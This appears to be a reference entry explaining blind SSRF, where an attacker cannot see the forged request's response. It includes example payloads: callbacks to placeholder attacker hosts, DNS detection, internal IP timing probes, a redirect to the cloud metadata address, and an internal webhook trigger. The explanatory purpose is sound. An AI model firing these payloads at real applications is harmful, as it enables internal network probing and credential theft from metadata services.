An SSRF variant where the attacker cannot see the response content, requiring out-of-band techniques or timing analysis to confirm and exploit the vulnerability.
Blind SSRF occurs when an application is vulnerable to SSRF but the response from the forged request is not returned to the attacker. The attacker must use indirect methods to confirm the vulnerability and extract data.
Unlike regular SSRF where responses are visible, blind SSRF requires alternative channels. Attackers use timing differences, out-of-band callbacks, or observable side effects to infer results.
// Out-of-band detection with callback
GET /fetch?url=http://attacker-controlled.com/callback
// DNS-based detection
GET /fetch?url=http://uniqueid.attacker.com/
// Timing-based (internal vs external response time)
GET /fetch?url=http://192.168.1.1/ -- fast if internal exists
GET /fetch?url=http://192.168.1.2/ -- timeout if doesn't exist
// Reach an internal/blocked target via a redirect on an allowed host
GET /fetch?url=http://allowed.example/redirect?to=http://169.254.169.254/latest/meta-data/
// Trigger an internal service that has a side effect (no response needed)
GET /fetch?url=http://internal-webhook-service/trigger
Because the response body is never shown, blind SSRF usually cannot read a file's contents directly (it issues a request, it does not run commands). Data only leaks out-of-band when the application itself folds a fetched value into a later outbound request, for example by following an attacker-controlled redirect, or when reaching an internal endpoint causes an observable action.